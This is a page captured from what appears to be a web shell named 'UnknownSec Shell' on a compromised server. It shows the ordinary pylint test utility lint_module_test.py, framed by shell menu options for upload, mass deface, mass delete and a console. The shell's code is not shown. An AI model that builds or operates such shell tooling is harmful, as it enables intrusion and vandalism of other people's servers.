shell bypass 403
UnknownSec Shell
:
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
pylint
/
testutils
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
lint_module_test.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt from __future__ import annotations import csv import operator import platform import sys from collections import Counter from io import StringIO from pathlib import Path from typing import Counter as CounterType from typing import TextIO, Tuple import pytest from _pytest.config import Config from pylint import checkers from pylint.config.config_initialization import _config_initialization from pylint.constants import IS_PYPY from pylint.lint import PyLinter from pylint.message.message import Message from pylint.testutils.constants import _EXPECTED_RE, _OPERATORS, UPDATE_OPTION # need to import from functional.test_file to avoid cyclic import from pylint.testutils.functional.test_file import ( FunctionalTestFile, NoFileError, parse_python_version, ) from pylint.testutils.output_line import OutputLine from pylint.testutils.reporter_for_tests import FunctionalTestReporter MessageCounter = CounterType[Tuple[int, str]] PYLINTRC = Path(__file__).parent / "testing_pylintrc" class LintModuleTest: maxDiff = None def __init__( self, test_file: FunctionalTestFile, config: Config | None = None ) -> None: _test_reporter = FunctionalTestReporter() self._linter = PyLinter() self._linter.config.persistent = 0 checkers.initialize(self._linter) # See if test has its own .rc file, if so we use that one rc_file: Path | str = PYLINTRC try: rc_file = test_file.option_file self._linter.disable("suppressed-message") self._linter.disable("locally-disabled") self._linter.disable("useless-suppression") except NoFileError: pass self._test_file = test_file try: args = [test_file.source] except NoFileError: # If we're still raising NoFileError the actual source file doesn't exist args = [""] if config and config.getoption("minimal_messages_config"): with self._open_source_file() as f: messages_to_enable = {msg[1] for msg in self.get_expected_messages(f)} # Always enable fatal errors messages_to_enable.add("astroid-error") messages_to_enable.add("fatal") messages_to_enable.add("syntax-error") args.extend(["--disable=all", f"--enable={','.join(messages_to_enable)}"]) # Add testoptions self._linter._arg_parser.add_argument( "--min_pyver", type=parse_python_version, default=(2, 5) ) self._linter._arg_parser.add_argument( "--max_pyver", type=parse_python_version, default=(4, 0) ) self._linter._arg_parser.add_argument( "--min_pyver_end_position", type=parse_python_version, default=(3, 8) ) self._linter._arg_parser.add_argument( "--requires", type=lambda s: [i.strip() for i in s.split(",")], default=[] ) self._linter._arg_parser.add_argument( "--except_implementations", type=lambda s: [i.strip() for i in s.split(",")], default=[], ) self._linter._arg_parser.add_argument( "--exclude_platforms", type=lambda s: [i.strip() for i in s.split(",")], default=[], ) self._linter._arg_parser.add_argument( "--exclude_from_minimal_messages_config", default=False ) _config_initialization( self._linter, args_list=args, config_file=rc_file, reporter=_test_reporter ) self._check_end_position = ( sys.version_info >= self._linter.config.min_pyver_end_position ) # TODO: PY3.9: PyPy supports end_lineno from 3.9 and above if self._check_end_position and IS_PYPY: self._check_end_position = sys.version_info >= (3, 9) # pragma: no cover self._config = config def setUp(self) -> None: if self._should_be_skipped_due_to_version(): pytest.skip( f"Test cannot run with Python {sys.version.split(' ', maxsplit=1)[0]}." ) missing = [] for requirement in self._linter.config.requires: try: __import__(requirement) except ImportError: missing.append(requirement) if missing: pytest.skip(f"Requires {','.join(missing)} to be present.") except_implementations = self._linter.config.except_implementations if except_implementations: if platform.python_implementation() in except_implementations: msg = "Test cannot run with Python implementation %r" pytest.skip(msg % platform.python_implementation()) excluded_platforms = self._linter.config.exclude_platforms if excluded_platforms: if sys.platform.lower() in excluded_platforms: pytest.skip(f"Test cannot run on platform {sys.platform!r}") if ( self._config and self._config.getoption("minimal_messages_config") and self._linter.config.exclude_from_minimal_messages_config ): pytest.skip("Test excluded from --minimal-messages-config") def runTest(self) -> None: self._runTest() def _should_be_skipped_due_to_version(self) -> bool: return ( # type: ignore[no-any-return] sys.version_info < self._linter.config.min_pyver or sys.version_info > self._linter.config.max_pyver ) def __str__(self) -> str: return f"{self._test_file.base} ({self.__class__.__module__}.{self.__class__.__name__})" @staticmethod def get_expected_messages(stream: TextIO) -> MessageCounter: """Parses a file and get expected messages. :param stream: File-like input stream. :type stream: enumerable :returns: A dict mapping line,msg-symbol tuples to the count on this line. :rtype: dict """ messages: MessageCounter = Counter() for i, line in enumerate(stream): match = _EXPECTED_RE.search(line) if match is None: continue line = match.group("line") if line is None: lineno = i + 1 elif line.startswith("+") or line.startswith("-"): lineno = i + 1 + int(line) else: lineno = int(line) version = match.group("version") op = match.group("op") if version: required = parse_python_version(version) if not _OPERATORS[op](sys.version_info, required): continue for msg_id in match.group("msgs").split(","): messages[lineno, msg_id.strip()] += 1 return messages @staticmethod def multiset_difference( expected_entries: MessageCounter, actual_entries: MessageCounter, ) -> tuple[MessageCounter, dict[tuple[int, str], int]]: """Takes two multisets and compares them. A multiset is a dict with the cardinality of the key as the value. """ missing = expected_entries.copy() missing.subtract(actual_entries) unexpected = {} for key, value in list(missing.items()): if value <= 0: missing.pop(key) if value < 0: unexpected[key] = -value return missing, unexpected def _open_expected_file(self) -> TextIO: try: return open(self._test_file.expected_output, encoding="utf-8") except FileNotFoundError: return StringIO("") def _open_source_file(self) -> TextIO: if self._test_file.base == "invalid_encoded_data": return open(self._test_file.source, encoding="utf-8") if "latin1" in self._test_file.base: return open(self._test_file.source, encoding="latin1") return open(self._test_file.source, encoding="utf8") def _get_expected(self) -> tuple[MessageCounter, list[OutputLine]]: with self._open_source_file() as f: expected_msgs = self.get_expected_messages(f) if not expected_msgs: expected_msgs = Counter() with self._open_expected_file() as f: expected_output_lines = [ OutputLine.from_csv(row, self._check_end_position) for row in csv.reader(f, "test") ] return expected_msgs, expected_output_lines def _get_actual(self) -> tuple[MessageCounter, list[OutputLine]]: messages: list[Message] = self._linter.reporter.messages messages.sort(key=lambda m: (m.line, m.symbol, m.msg)) received_msgs: MessageCounter = Counter() received_output_lines = [] for msg in messages: assert ( msg.symbol != "fatal" ), f"Pylint analysis failed because of '{msg.msg}'" received_msgs[msg.line, msg.symbol] += 1 received_output_lines.append( OutputLine.from_msg(msg, self._check_end_position) ) return received_msgs, received_output_lines def _runTest(self) -> None: __tracebackhide__ = True # pylint: disable=unused-variable modules_to_check = [self._test_file.source] self._linter.check(modules_to_check) expected_messages, expected_output = self._get_expected() actual_messages, actual_output = self._get_actual() assert ( expected_messages == actual_messages ), self.error_msg_for_unequal_messages( actual_messages, expected_messages, actual_output ) self._check_output_text(expected_messages, expected_output, actual_output) def error_msg_for_unequal_messages( self, actual_messages: MessageCounter, expected_messages: MessageCounter, actual_output: list[OutputLine], ) -> str: msg = [f'Wrong results for file "{self._test_file.base}":'] missing, unexpected = self.multiset_difference( expected_messages, actual_messages ) if missing: msg.append("\nExpected in testdata:") msg.extend(f" {msg[0]:3}: {msg[1]}" for msg in sorted(missing)) if unexpected: msg.append("\nUnexpected in testdata:") msg.extend(f" {msg[0]:3}: {msg[1]}" for msg in sorted(unexpected)) error_msg = "\n".join(msg) if self._config and self._config.getoption("verbose") > 0: error_msg += "\n\nActual pylint output for this file:\n" error_msg += "\n".join(str(o) for o in actual_output) return error_msg def error_msg_for_unequal_output( self, expected_lines: list[OutputLine], received_lines: list[OutputLine], ) -> str: missing = set(expected_lines) - set(received_lines) unexpected = set(received_lines) - set(expected_lines) error_msg = f"Wrong output for '{self._test_file.base}.txt':" sort_by_line_number = operator.attrgetter("lineno") if missing: error_msg += "\n- Missing lines:\n" for line in sorted(missing, key=sort_by_line_number): error_msg += f"{line}\n" if unexpected: error_msg += "\n- Unexpected lines:\n" for line in sorted(unexpected, key=sort_by_line_number): error_msg += f"{line}\n" error_msg += ( "\nYou can update the expected output automatically with:\n'" f"python tests/test_functional.py {UPDATE_OPTION} -k " f'"test_functional[{self._test_file.base}]"\'\n\n' "Here's the update text in case you can't:\n" ) expected_csv = StringIO() writer = csv.writer(expected_csv, dialect="test") for line in sorted(received_lines, key=sort_by_line_number): writer.writerow(line.to_csv()) error_msg += expected_csv.getvalue() return error_msg def _check_output_text( self, _: MessageCounter, expected_output: list[OutputLine], actual_output: list[OutputLine], ) -> None: """This is a function because we want to be able to update the text in LintModuleOutputUpdate. """ assert expected_output == actual_output, self.error_msg_for_unequal_output( expected_output, actual_output )
© 2024 UnknownSec